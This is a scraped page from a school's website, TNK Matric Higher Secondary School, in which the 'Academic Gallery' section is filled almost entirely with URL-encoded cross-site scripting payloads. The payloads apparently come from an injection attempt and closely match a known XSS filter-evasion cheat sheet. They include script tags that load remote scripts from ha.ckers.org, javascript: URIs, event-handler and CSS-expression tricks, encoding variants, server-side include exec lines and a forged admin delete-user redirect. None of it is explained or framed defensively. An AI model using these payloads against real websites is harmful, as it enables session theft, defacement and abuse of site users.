Thiruneelakandar Nagar,Salangapalayam 638 455
sftnkhsschool@gmail.com
+91 9843256123
TNK Matric Higher Secondary School
TNK Matric Higher Secondary School
Menu
Home
About
News events
Admissions
Academic
KG Montessori Method
1 to 5 Lead
CBSC & State board
Our Teachers
Gallery
Contact
Academic Gallery
%3cIMG%20SRC%3d%26#106%3b%26#97%3b%26#118%3b%26#97%3b%26#115%3b%26#99%3b%26#114%3b%26#105%3b%26#112%3b%26#116%3b%26#58%3b%26#97%3b%26#108%3b%26#101%3b%26#114%3b%26#116%3b%26#40%3b%26#39%3b%26#88%3b%26#83%3b%26#83%3b%26#39%3b%26#41%3b%3e
%3cimg%20src%3djavascript%3aalert(%26quot%3bXSS%26quot%3b)%3e
%3cIFRAME%20SRC%3d%22javascript%3aalert('XSS')%3b%22%3e%3c%2fIFRAME%3e
%3cSCRIPT%20a%3d%22%3e%22%20SRC%3d%22http%3a%2f%2fha%2eckers%2eorg%2fxss%2ejs%22%3e%3c%2fSCRIPT%3e
%3cSCRIPT%20a%3d%22%3e%22%20''%20SRC%3d%22http%3a%2f%2fha%2eckers%2eorg%2fxss%2ejs%22%3e%3c%2fSCRIPT%3e
%3cSCRIPT%20a%3d%22%3e'%3e%22%20SRC%3d%22http%3a%2f%2fha%2eckers%2eorg%2fxss%2ejs%22%3e%3c%2fSCRIPT%3e
%3cSCRIPT%3edocument%2ewrite(%22%3cSCRI%22)%3b%3c%2fSCRIPT%3ePT%20SRC%3d%22http%3a%2f%2fha%2eckers%2eorg%2fxss%2ejs%22%3e%3c%2fSCRIPT%3e
%3c%3cSCRIPT%3ealert(%22XSS%22)%3b%2f%2f%3c%3c%2fSCRIPT%3e
%3cscript%3ealert(%22hellox%20worldss%22)%3c%2fscript%3e%26safe%3dhigh%26cx%3d006665157904466893121%3asu_tzknyxug%26cof%3dFORID%3a9#510
%3cMETA%20HTTP-EQUIV%3d%22refresh%22%20CONTENT%3d%220%3burl%3ddata%3atext%2fhtml%3bbase64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K%22%3e
%3cscript%3ealert(%22XSS%22)%3b%3c%2fscript%3e%26search%3d1
%3ch1%3e%3cfont%20color%3dblue%3ehellox%20worldss%3c%2fh1%3e
%3cform%3e%3cbutton%20formaction%3d%22javascript%3aalert(XSS)%22%3elol
%3c!--%3cimg%20src%3d%22--%3e%3cimg%20src%3dx%20onerror%3dalert(XSS)%2f%2f%22%3e
%3c![%3e%3cimg%20src%3d%22]%3e%3cimg%20src%3dx%20onerror%3dalert(XSS)%2f%2f%22%3e
%3cstyle%3e%3cimg%20src%3d%22%3c%2fstyle%3e%3cimg%20src%3dx%20onerror%3dalert(XSS)%2f%2f%22%3e
%3c%3f%20foo%3d%22%3e%3cscript%3ealert(1)%3c%2fscript%3e%22%3e
%3cBODY%20ONLOAD%3dalert('hellox%20worldss')%3e
%3c!%20foo%3d%22%3e%3cscript%3ealert(1)%3c%2fscript%3e%22%3e
%3cbody%20onscroll%3dalert(XSS)%3e%3cbr%3e%3cbr%3e%3cbr%3e%3cbr%3e%3cbr%3e%3cbr%3e%2e%2e%2e%3cbr%3e%3cbr%3e%3cbr%3e%3cbr%3e%3cinput%20autofocus%3e
%3c%2f%20foo%3d%22%3e%3cscript%3ealert(1)%3c%2fscript%3e%22%3e
%3c%3f%20foo%3d%22%3e%3cx%20foo%3d'%3f%3e%3cscript%3ealert(1)%3c%2fscript%3e'%3e%22%3e
%3c!%20foo%3d%22[[[Inception]]%22%3e%3cx%20foo%3d%22]foo%3e%3cscript%3ealert(1)%3c%2fscript%3e%22%3e
%3c%%20foo%3e%3cx%20foo%3d%22%%3e%3cscript%3ealert(123)%3c%2fscript%3e%22%3e
%3cdiv%20style%3d%22font-family%3a'foo%26#10%3b%3bcolor%3ared%3b'%3b%22%3eLOL
LOL%3cstyle%3e%2a%7b%2f%2aall%2a%2fcolor%2f%2aall%2a%2f%3a%2f%2aall%2a%2fred%2f%2aall%2a%2f%3b%2f[0]%2aIE,Safari%2a[0]%2fcolor%3agreen%3bcolor%3abl%2f%2aIE%2a%2fue%3b%7d%3c%2fstyle%3e
%3cscript%3e(%7b0%3a#0%3dalert%2f#0#%2f#0#(0)%7d)%3c%2fscript%3e
%3csvg%20xmlns%3d%22http%3a%2f%2fwww%2ew3%2eorg%2f2000%2fsvg%22%3eLOL%3cscript%3ealert(123)%3c%2fscript%3e%3c%2fsvg%3e
%26lt%3bSCRIPT%26gt%3balert(%2fXSS%2f%26#46%3bsource)%26lt%3b%2fSCRIPT%26gt%3b
%26lt%3b%2fTITLE%26gt%3b%26lt%3bSCRIPT%26gt%3balert(%5c%22XSS%5c%22)%3b%26lt%3b%2fSCRIPT%26gt%3b
%3cinput%20onblur%3dwrite(XSS)%20autofocus%3e%3cinput%20autofocus%3e
%26lt%3bINPUT%20TYPE%3d%5c%22IMAGE%5c%22%20SRC%3d%5c%22javascript%26#058%3balert('XSS')%3b%5c%22%26gt%3b
%26lt%3bBODY%20BACKGROUND%3d%5c%22javascript%26#058%3balert('XSS')%5c%22%26gt%3b
%26lt%3bBODY%20ONLOAD%3dalert('XSS')%26gt%3b
%26lt%3bIMG%20DYNSRC%3d%5c%22javascript%26#058%3balert('XSS')%5c%22%26gt%3b
%26lt%3bIMG%20LOWSRC%3d%5c%22javascript%26#058%3balert('XSS')%5c%22%26gt%3b
%26lt%3bBGSOUND%20SRC%3d%5c%22javascript%26#058%3balert('XSS')%3b%5c%22%26gt%3b
%26lt%3bBR%20SIZE%3d%5c%22%26%7balert('XSS')%7d%5c%22%26gt%3b
%5c%5c%22%3balert('XSS')%3b%2f%2f
%26lt%3bLAYER%20SRC%3d%5c%22http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fscriptlet%26#46%3bhtml%5c%22%26gt%3b%26lt%3b%2fLAYER%26gt%3b
%26lt%3bLINK%20REL%3d%5c%22stylesheet%5c%22%20HREF%3d%5c%22http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bcss%5c%22%26gt%3b
%26lt%3bSTYLE%26gt%3b@import'http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bcss'%3b%26lt%3b%2fSTYLE%26gt%3b
%26lt%3bMETA%20HTTP-EQUIV%3d%5c%22Link%5c%22%20Content%3d%5c%22%26lt%3bhttp%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bcss%26gt%3b%3b%20REL%3dstylesheet%5c%22%26gt%3b
%26lt%3bXSS%20STYLE%3d%5c%22behavior%26#58%3b%20url(xss%26#46%3bhtc)%3b%5c%22%26gt%3b
%26lt%3bSTYLE%26gt%3bBODY%7b-moz-binding%26#58%3burl(%5c%22http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxssmoz%26#46%3bxml#xss%5c%22)%7d%26lt%3b%2fSTYLE%26gt%3b
%26lt%3bSTYLE%26gt%3bli%20%7blist-style-image%26#58%3b%20url(%5c%22javascript%26#058%3balert('XSS')%5c%22)%3b%7d%26lt%3b%2fSTYLE%26gt%3b%26lt%3bUL%26gt%3b%26lt%3bLI%26gt%3bXSS
%26lt%3bIMG%20SRC%3d'vbscript%26#058%3bmsgbox(%5c%22XSS%5c%22)'%26gt%3b
%26lt%3bIMG%20SRC%3d%5c%22mocha%26#58%3b%26#91%3bcode%26#93%3b%5c%22%26gt%3b
%26lt%3bIMG%20SRC%3d%5c%22livescript%26#058%3b%26#91%3bcode%26#93%3b%5c%22%26gt%3b
�scriptualert(EXSSE)�%2fscriptu
%26lt%3bMETA%20HTTP-EQUIV%3d%5c%22refresh%5c%22%20CONTENT%3d%5c%220%3burl%3djavascript%26#058%3balert('XSS')%3b%5c%22%26gt%3b
%26lt%3bMETA%20HTTP-EQUIV%3d%5c%22refresh%5c%22%20CONTENT%3d%5c%220%3b%20URL%3dhttp%26#58%3b%2f%2f%3bURL%3djavascript%26#058%3balert('XSS')%3b%5c%22
%26lt%3bLINK%20REL%3d%5c%22stylesheet%5c%22%20HREF%3d%5c%22javascript%26#058%3balert('XSS')%3b%5c%22%26gt%3b
%26lt%3bIFRAME%20SRC%3d%5c%22javascript%26#058%3balert('XSS')%3b%5c%22%26gt%3b%26lt%3b%2fIFRAME%26gt%3b
%26lt%3bFRAMESET%26gt%3b%26lt%3bFRAME%20SRC%3d%5c%22javascript%26#058%3balert('XSS')%3b%5c%22%26gt%3b%26lt%3b%2fFRAMESET%26gt%3b
%26lt%3bTABLE%20BACKGROUND%3d%5c%22javascript%26#058%3balert('XSS')%5c%22%26gt%3b
%26lt%3bMETA%20HTTP-EQUIV%3d%5c%22refresh%5c%22%20CONTENT%3d%5c%220%3burl%3ddata%26#58%3btext%2fhtml%3bbase64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K%5c%22%26gt%3b
%26lt%3bTABLE%26gt%3b%26lt%3bTD%20BACKGROUND%3d%5c%22javascript%26#058%3balert('XSS')%5c%22%26gt%3b
%26lt%3bDIV%20STYLE%3d%5c%22background-image%26#58%3b%20url(javascript%26#058%3balert('XSS'))%5c%22%26gt%3b
%26lt%3bDIV%20STYLE%3d%5c%22width%26#58%3b%20expression(alert('XSS'))%3b%5c%22%26gt%3b
%26lt%3bSTYLE%26gt%3b@im%5cport'%5cja%5cvasc%5cript%26#58%3balert(%5c%22XSS%5c%22)'%3b%26lt%3b%2fSTYLE%26gt%3b
%26lt%3bXSS%20STYLE%3d%5c%22xss%26#58%3bexpression(alert('XSS'))%5c%22%26gt%3b
exp%2f%2a%26lt%3bA%20STYLE%3d'no%5cxss%26#58%3bnoxss(%5c%22%2a%2f%2f%2a%5c%22)%3b
xss%26#58%3bex%26#x2F%3b%2aXSS%2a%2f%2f%2a%2f%2a%2fpression(alert(%5c%22XSS%5c%22))'%26gt%3b
%26lt%3bDIV%20STYLE%3d%5c%22background-image%26#58%3b%20url(javascript%26#058%3balert('XSS'))%5c%22%26gt%3b
%26lt%3bIMG%20STYLE%3d%5c%22xss%26#58%3bexpr%2f%2aXSS%2a%2fession(alert('XSS'))%5c%22%26gt%3b
%26lt%3bSTYLE%26gt%3b%26#46%3bXSS%7bbackground-image%26#58%3burl(%5c%22javascript%26#058%3balert('XSS')%5c%22)%3b%7d%26lt%3b%2fSTYLE%26gt%3b%26lt%3bA%20CLASS%3dXSS%26gt%3b%26lt%3b%2fA%26gt%3b
%26lt%3bSCRIPT%26gt%3balert('XSS')%3b%26lt%3b%2fSCRIPT%26gt%3b
%26lt%3b!--%26#91%3bif%20gte%20IE%204%26#93%3b%26gt%3b
%26lt%3b!%26#91%3bendif%26#93%3b--%26gt%3b
%26lt%3bBASE%20HREF%3d%5c%22javascript%26#058%3balert('XSS')%3b%2f%2f%5c%22%26gt%3b
%26lt%3bSTYLE%20TYPE%3d%5c%22text%2fjavascript%5c%22%26gt%3balert('XSS')%3b%26lt%3b%2fSTYLE%26gt%3b
%26lt%3bOBJECT%20TYPE%3d%5c%22text%2fx-scriptlet%5c%22%20DATA%3d%5c%22http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fscriptlet%26#46%3bhtml%5c%22%26gt%3b%26lt%3b%2fOBJECT%26gt%3b
%26lt%3bOBJECT%20classid%3dclsid%26#58%3bae24fdae-03c6-11d1-8b76-0080c744f389%26gt%3b%26lt%3bparam%20name%3durl%20value%3djavascript%26#058%3balert('XSS')%26gt%3b%26lt%3b%2fOBJECT%26gt%3b
%26lt%3bSTYLE%20type%3d%5c%22text%2fcss%5c%22%26gt%3bBODY%7bbackground%26#58%3burl(%5c%22javascript%26#058%3balert('XSS')%5c%22)%7d%26lt%3b%2fSTYLE%26gt%3b
%26lt%3bEMBED%20SRC%3d%5c%22http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bswf%5c%22%20AllowScriptAccess%3d%5c%22always%5c%22%26gt%3b%26lt%3b%2fEMBED%26gt%3b
b%3d%5c%22URL(%5c%5c%22%5c%22%3b
c%3d%5c%22javascript%26#058%3b%5c%22%3b
d%3d%5c%22alert('XSS')%3b%5c%5c%22)%5c%22%3b
eval(a%2bb%2bc%2bd)%3b
%26lt%3bXML%20ID%3dI%26gt%3b%26lt%3bX%26gt%3b%26lt%3bC%26gt%3b%26lt%3b!%26#91%3bCDATA%26#91%3b%26lt%3bIMG%20SRC%3d%5c%22javas%26#93%3b%26#93%3b%26gt%3b%26lt%3b!%26#91%3bCDATA%26#91%3bcript%26#58%3balert('XSS')%3b%5c%22%26gt%3b%26#93%3b%26#93%3b%26gt%3b
a%3d%5c%22get%5c%22%3b
%26lt%3b%2fC%26gt%3b%26lt%3b%2fX%26gt%3b%26lt%3b%2fxml%26gt%3b%26lt%3bSPAN%20DATASRC%3d#I%20DATAFLD%3dC%20DATAFORMATAS%3dHTML%26gt%3b%26lt%3b%2fSPAN%26gt%3b
%26lt%3bXML%20ID%3d%5c%22xss%5c%22%26gt%3b%26lt%3bI%26gt%3b%26lt%3bB%26gt%3b%26lt%3bIMG%20SRC%3d%5c%22javas%26lt%3b!--%20--%26gt%3bcript%26#58%3balert('XSS')%5c%22%26gt%3b%26lt%3b%2fB%26gt%3b%26lt%3b%2fI%26gt%3b%26lt%3b%2fXML%26gt%3b
%26lt%3bSPAN%20DATASRC%3d%5c%22#xss%5c%22%20DATAFLD%3d%5c%22B%5c%22%20DATAFORMATAS%3d%5c%22HTML%5c%22%26gt%3b%26lt%3b%2fSPAN%26gt%3b
%26lt%3bXML%20SRC%3d%5c%22xsstest%26#46%3bxml%5c%22%20ID%3dI%26gt%3b%26lt%3b%2fXML%26gt%3b
%26lt%3bSPAN%20DATASRC%3d#I%20DATAFLD%3dC%20DATAFORMATAS%3dHTML%26gt%3b%26lt%3b%2fSPAN%26gt%3b
%26lt%3bHTML%26gt%3b%26lt%3bBODY%26gt%3b
%26lt%3b%3fimport%20namespace%3d%5c%22t%5c%22%20implementation%3d%5c%22#default#time2%5c%22%26gt%3b
%26lt%3bt%26#58%3bset%20attributeName%3d%5c%22innerHTML%5c%22%20to%3d%5c%22XSS%26lt%3bSCRIPT%20DEFER%26gt%3balert(%26quot%3bXSS%26quot%3b)%26lt%3b%2fSCRIPT%26gt%3b%5c%22%26gt%3b
%26lt%3b%2fBODY%26gt%3b%26lt%3b%2fHTML%26gt%3b
%26lt%3bSCRIPT%20SRC%3d%5c%22http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bjpg%5c%22%26gt%3b%26lt%3b%2fSCRIPT%26gt%3b
%26lt%3b!--#exec%20cmd%3d%5c%22%2fbin%2fecho%20'%26lt%3bSCR'%5c%22--%26gt%3b%26lt%3b!--#exec%20cmd%3d%5c%22%2fbin%2fecho%20'IPT%20SRC%3dhttp%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bjs%26gt%3b%26lt%3b%2fSCRIPT%26gt%3b'%5c%22--%26gt%3b
%26lt%3b%3f%20echo('%26lt%3bSCR)'%3b
%26lt%3b%3fxml%26#58%3bnamespace%20prefix%3d%5c%22t%5c%22%20ns%3d%5c%22urn%26#58%3bschemas-microsoft-com%26#58%3btime%5c%22%26gt%3b
Redirect%20302%20%2fa%26#46%3bjpg%20http%26#58%3b%2f%2fvictimsite%26#46%3bcom%2fadmin%26#46%3basp%26deleteuser
%26lt%3bMETA%20HTTP-EQUIV%3d%5c%22Set-Cookie%5c%22%20Content%3d%5c%22USERID%3d%26lt%3bSCRIPT%26gt%3balert('XSS')%26lt%3b%2fSCRIPT%26gt%3b%5c%22%26gt%3b
%26lt%3bHEAD%26gt%3b%26lt%3bMETA%20HTTP-EQUIV%3d%5c%22CONTENT-TYPE%5c%22%20CONTENT%3d%5c%22text%2fhtml%3b%20charset%3dUTF-7%5c%22%26gt%3b%20%26lt%3b%2fHEAD%26gt%3b%2bADw-SCRIPT%2bAD4-alert('XSS')%3b%2bADw-%2fSCRIPT%2bAD4-
echo('IPT%26gt%3balert(%5c%22XSS%5c%22)%26lt%3b%2fSCRIPT%26gt%3b')%3b%20%3f%26gt%3b
%26lt%3bSCRIPT%20a%3d%5c%22%26gt%3b%5c%22%20SRC%3d%5c%22http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bjs%5c%22%26gt%3b%26lt%3b%2fSCRIPT%26gt%3b
%26lt%3bSCRIPT%20%5c%22a%3d'%26gt%3b'%5c%22%20SRC%3d%5c%22http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bjs%5c%22%26gt%3b%26lt%3b%2fSCRIPT%26gt%3b
%26lt%3bSCRIPT%20a%3d%60%26gt%3b%60%20SRC%3d%5c%22http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bjs%5c%22%26gt%3b%26lt%3b%2fSCRIPT%26gt%3b
%26lt%3bSCRIPT%20a%3d%5c%22%26gt%3b'%26gt%3b%5c%22%20SRC%3d%5c%22http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bjs%5c%22%26gt%3b%26lt%3b%2fSCRIPT%26gt%3b
%26lt%3bSCRIPT%26gt%3bdocument%26#46%3bwrite(%5c%22%26lt%3bSCRI%5c%22)%3b%26lt%3b%2fSCRIPT%26gt%3bPT%20SRC%3d%5c%22http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bjs%5c%22%26gt%3b%26lt%3b%2fSCRIPT%26gt%3b
%26lt%3bSCRIPT%20%3d%5c%22%26gt%3b%5c%22%20SRC%3d%5c%22http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bjs%5c%22%26gt%3b%26lt%3b%2fSCRIPT%26gt%3b
%26lt%3bA%20HREF%3d%5c%22http%26#58%3b%2f%2f66%26#46%3b102%26#46%3b7%26#46%3b147%2f%5c%22%26gt%3bXSS%26lt%3b%2fA%26gt%3b
%26lt%3bSCRIPT%20a%3d%5c%22%26gt%3b%5c%22%20''%20SRC%3d%5c%22http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bjs%5c%22%26gt%3b%26lt%3b%2fSCRIPT%26gt%3b
%26lt%3bA%20HREF%3d%5c%22http%26#58%3b%2f%2f1113982867%2f%5c%22%26gt%3bXSS%26lt%3b%2fA%26gt%3b
%26lt%3bIMG%20SRC%3d%5c%22http%26#58%3b%2f%2fwww%26#46%3bthesiteyouareon%26#46%3bcom%2fsomecommand%26#46%3bphp%3fsomevariables%3dmaliciouscode%5c%22%26gt%3b
%26lt%3bA%20HREF%3d%5c%22http%26#58%3b%2f%2f%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D%5c%22%26gt%3bXSS%26lt%3b%2fA%26gt%3b
%26lt%3bA%20HREF%3d%5c%22%2f%2fwww%26#46%3bgoogle%26#46%3bcom%2f%5c%22%26gt%3bXSS%26lt%3b%2fA%26gt%3b
%26lt%3bA%20HREF%3d%5c%22http%26#58%3b%2f%2f0x42%26#46%3b0x0000066%26#46%3b0x7%26#46%3b0x93%2f%5c%22%26gt%3bXSS%26lt%3b%2fA%26gt%3b
%26lt%3bA%20HREF%3d%5c%22http%26#58%3b%2f%2f0102%26#46%3b0146%26#46%3b0007%26#46%3b00000223%2f%5c%22%26gt%3bXSS%26lt%3b%2fA%26gt%3b
%26lt%3bA%20HREF%3d%5c%22htt%20p%26#58%3b%2f%2f6%206%26#46%3b000146%26#46%3b0x7%26#46%3b147%2f%5c%22%26gt%3bXSS%26lt%3b%2fA%26gt%3b
%26lt%3bA%20HREF%3d%5c%22%2f%2fgoogle%5c%22%26gt%3bXSS%26lt%3b%2fA%26gt%3b
%26lt%3bA%20HREF%3d%5c%22http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg@google%5c%22%26gt%3bXSS%26lt%3b%2fA%26gt%3b
%26lt%3bA%20HREF%3d%5c%22http%26#58%3b%2f%2fgoogle%26#58%3bha%26#46%3bckers%26#46%3borg%5c%22%26gt%3bXSS%26lt%3b%2fA%26gt%3b
%26lt%3bA%20HREF%3d%5c%22http%26#58%3b%2f%2fwww%26#46%3bgoogle%26#46%3bcom%26#46%3b%2f%5c%22%26gt%3bXSS%26lt%3b%2fA%26gt%3b
%26lt%3bA%20HREF%3d%5c%22javascript%26#058%3bdocument%26#46%3blocation%3d'http%26#58%3b%2f%2fwww%26#46%3bgoogle%26#46%3bcom%2f'%5c%22%26gt%3bXSS%26lt%3b%2fA%26gt%3b
%26lt%3bA%20HREF%3d%5c%22http%26#58%3b%2f%2fwww%26#46%3bgohttp%26#58%3b%2f%2fwww%26#46%3bgoogle%26#46%3bcom%2fogle%26#46%3bcom%2f%5c%22%26gt%3bXSS%26lt%3b%2fA%26gt%3b
%26lt%3b
%3C
%26lt
%26lt%3b
%26LT
%26LT%3b
%26#060
%26lt%3bA%20HREF%3d%5c%22http%26#58%3b%2f%2fgoogle%26#46%3bcom%2f%5c%22%26gt%3bXSS%26lt%3b%2fA%26gt%3b
%26#0060
%26#00060
%26#000060
%26#0000060
%26#x3c
%26#x03c
%26#60
%26#x0003c
%26#x00003c
%26#x000003c
%26#x003c
%26#x03c%3b
%26#x3c%3b
%26lt%3b
%26#x003c%3b
%26#x00003c%3b
%26#X3c
%26#X03c
%26#X003c
%26#X0003c
%26#x000003c%3b
%26#x0003c%3b
%26#X000003c
%26#X00003c
%26#X3c%3b
%26#X03c%3b
%26#X003c%3b
%26#X00003c%3b
%26#X000003c%3b
%26#x3C
%26#X0003c%3b
%26#x03C
%26#x0003C
%26#x003C
%26#x00003C
%26#x000003C
%26#x003C%3b
%26#x3C%3b
%26#x0003C%3b
%26#x03C%3b
%26#x00003C%3b
%26#x000003C%3b
%26#X3C
%26#X003C
%26#X03C
%26#X00003C
%26#X000003C
%26#X0003C
%26#X03C%3b
%26#X3C%3b
%26#X003C%3b
%26#X0003C%3b
%26#X000003C%3b
%5cx3c
%5cx3C
%5cu003c
%5cu003C
%26lt%3biframe%20src%3dhttp%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fscriptlet%26#46%3bhtml%26gt%3b
%26#X00003C%3b
%26lt%3bSCRIPT%20SRC%3d%2f%2fha%26#46%3bckers%26#46%3borg%2f%26#46%3bjs%26gt%3b
%26lt%3bSCRIPT%20SRC%3dhttp%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bjs%3f%26lt%3bB%26gt%3b
%26lt%3b%26lt%3bSCRIPT%26gt%3balert(%5c%22XSS%5c%22)%3b%2f%2f%26lt%3b%26lt%3b%2fSCRIPT%26gt%3b
%26lt%3bSCRIPT%2fSRC%3d%5c%22http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bjs%5c%22%26gt%3b%26lt%3b%2fSCRIPT%26gt%3b
%26lt%3bBODY%20onload!#$%%26()%2a~%2b-_%26#46%3b,%26#58%3b%3b%3f@%26#91%3b%2f%7c%5c%26#93%3b%5e%60%3dalert(%5c%22XSS%5c%22)%26gt%3b
%26lt%3bSCRIPT%2fXSS%20SRC%3d%5c%22http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bjs%5c%22%26gt%3b%26lt%3b%2fSCRIPT%26gt%3b
%26lt%3bIMG%20SRC%3d%5c%22%20%20%20javascript%26#058%3balert('XSS')%3b%5c%22%26gt%3b
%26lt%3bIMG%20SRC%3d%5c%22javascript%26#058%3balert('XSS')%5c%22
%26lt%3bIMG%20SRC%3d%5c%22jav%26#x0D%3bascript%26#058%3balert('XSS')%3b%5c%22%26gt%3b
%26lt%3bIMG%20SRC%3d%5c%22jav%26#x0A%3bascript%26#058%3balert('XSS')%3b%5c%22%26gt%3b
%26lt%3bIMG%20SRC%3d%5c%22jav%26#x09%3bascript%26#058%3balert('XSS')%3b%5c%22%26gt%3b
%26lt%3bIMG%20SRC%3d%26#x6A%26#x61%26#x76%26#x61%26#x73%26#x63%26#x72%26#x69%26#x70%26#x74%26#x3A%26#x61%26#x6C%26#x65%26#x72%26#x74%26#x28%26#x27%26#x58%26#x53%26#x53%26#x27%26#x29%26gt%3b
%26lt%3bIMG%20SRC%3djavascript%26#058%3balert('XSS')%26gt%3b
perl%20-e%20'print%20%5c%22%26lt%3bSCR%5c0IPT%26gt%3balert(%5c%5c%22XSS%5c%5c%22)%26lt%3b%2fSCR%5c0IPT%26gt%3b%5c%22%3b'%20%26gt%3b%20out
%26lt%3bIMG%20%5c%22%5c%22%5c%22%26gt%3b%26lt%3bSCRIPT%26gt%3balert(%5c%22XSS%5c%22)%26lt%3b%2fSCRIPT%26gt%3b%5c%22%26gt%3b
perl%20-e%20'print%20%5c%22%26lt%3bIMG%20SRC%3djava%5c0script%26#058%3balert(%5c%5c%22XSS%5c%5c%22)%26gt%3b%5c%22%3b'%20%26gt%3b%20out
%26lt%3bIMG%20SRC%3d%60javascript%26#058%3balert(%5c%22RSnake%20says,%20'XSS'%5c%22)%60%26gt%3b
%26lt%3bIMG%20SRC%3djavascript%26#058%3balert(String%26#46%3bfromCharCode(88,83,83))%26gt%3b
%26lt%3bIMG%20SRC%3djavascript%26#058%3balert(%26quot%3bXSS%26quot%3b)%26gt%3b
%26lt%3bIMG%20SRC%3dJaVaScRiPt%26#058%3balert('XSS')%26gt%3b
%26lt%3bIMG%20SRC%3djavascript%26#058%3balert('XSS')%26gt%3b
''%3b!--%5c%22%26lt%3bXSS%26gt%3b%3d%26%7b()%7d
%26lt%3bIMG%20SRC%3d%5c%22javascript%26#058%3balert('XSS')%3b%5c%22%26gt%3b
%26lt%3bSCRIPT%20SRC%3dhttp%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bjs%26gt%3b%26lt%3b%2fSCRIPT%26gt%3b
''%3b!--%22%3cXSS%3e%3d%26%7b()%7d
%3cIMG%20SRC%3d%22javascript%3aalert('XSS')%3b%22%3e
%3cIMG%20SRC%3djavascript%3aalert('XSS')%3e
%3cSCRIPT%20SRC%3dhttp%3a%2f%2fha%2eckers%2eorg%2fxss%2ejs%3e%3c%2fSCRIPT%3e
%3cIMG%20SRC%3djavascrscriptipt%3aalert('XSS')%3e
%3cIMG%20SRC%3dJaVaScRiPt%3aalert('XSS')%3e
%3cIMG%20%22%22%22%3e%3cSCRIPT%3ealert(%22XSS%22)%3c%2fSCRIPT%3e%22%3e
%3cSCRIPT%2fXSS%20SRC%3d%22http%3a%2f%2fha%2eckers%2eorg%2fxss%2ejs%22%3e%3c%2fSCRIPT%3e
%3cSCRIPT%2fSRC%3d%22http%3a%2f%2fha%2eckers%2eorg%2fxss%2ejs%22%3e%3c%2fSCRIPT%3e
%3c%3cSCRIPT%3ealert(%22XSS%22)%3b%2f%2f%3c%3c%2fSCRIPT%3e
%3cSCRIPT%3ea%3d%2fXSS%2falert(a%2esource)%3c%2fSCRIPT%3e
%5c%22%3balert('XSS')%3b%2f%2f
%3cIMG%20SRC%3d%22%20%26#14%3b%20%20javascript%3aalert('XSS')%3b%22%3e
%3c%2fTITLE%3e%3cSCRIPT%3ealert(%22XSS%22)%3b%3c%2fSCRIPT%3e
%3cIFRAME%20SRC%3d%22javascript%3aalert('XSS')%3b%22%3e%3c%2fIFRAME%3e
%3cFRAMESET%3e%3cFRAME%20SRC%3d%22javascript%3aalert('XSS')%3b%22%3e%3c%2fFRAMESET%3e
%3cTABLE%20BACKGROUND%3d%22javascript%3aalert('XSS')%22%3e
%3cMETA%20HTTP-EQUIV%3d%22refresh%22%20CONTENT%3d%220%3burl%3djavascript%3aalert('XSS')%3b%22%3e
�script�alert(�XSS�)�%2fscript�
%3cTABLE%3e%3cTD%20BACKGROUND%3d%22javascript%3aalert('XSS')%22%3e
%3cDIV%20STYLE%3d%22background-image%3a%20url(javascript%3aalert('XSS'))%22%3e
%3cSTYLE%3e@im%5cport'%5cja%5cvasc%5cript%3aalert(%22XSS%22)'%3b%3c%2fSTYLE%3e
%3cIMG%20STYLE%3d%22xss%3aexpr%2f%2aXSS%2a%2fession(alert('XSS'))%22%3e
%3cXSS%20STYLE%3d%22xss%3aexpression(alert('XSS'))%22%3e
%3cDIV%20STYLE%3d%22background-image%3a%5c0075%5c0072%5c006C%5c0028'%5c006a%5c0061%5c0076%5c0061%5c0073%5c0063%5c0072%5c0069%5c0070%5c0074%5c003a%5c0061%5c006c%5c0065%5c0072%5c0074%5c0028%2e1027%5c0058%2e1053%5c0053%5c0027%5c0029'%5c0029%22%3e
%3cDIV%20STYLE%3d%22width%3a%20expression(alert('XSS'))%3b%22%3e
exp%2f%2a%3cA%20STYLE%3d'no%5cxss%3anoxss(%22%2a%2f%2f%2a%22)%3bxss%3a%26#101%3bx%26#x2F%3b%2aXSS%2a%2f%2f%2a%2f%2a%2fpression(alert(%22XSS%22))'%3e
%3cEMBED%20SRC%3d%22http%3a%2f%2fha%2eckers%2eorg%2fxss%2eswf%22%20AllowScriptAccess%3d%22always%22%3e%3c%2fEMBED%3e
a%3d%22get%22%3bb%3d%22URL(ja%5c%22%22%3bc%3d%22vascr%22%3bd%3d%22ipt%3aale%22%3be%3d%22rt('XSS')%3b%5c%22)%22%3beval(a%2bb%2bc%2bd%2be)%3b
%3cSCRIPT%20SRC%3d%22http%3a%2f%2fha%2eckers%2eorg%2fxss%2ejpg%22%3e%3c%2fSCRIPT%3e
%3cSCRIPT%3edocument%2ewrite(%22%3cSCRI%22)%3b%3c%2fSCRIPT%3ePT%20SRC%3d%22http%3a%2f%2fha%2eckers%2eorg%2fxss%2ejs%22%3e%3c%2fSCRIPT%3e
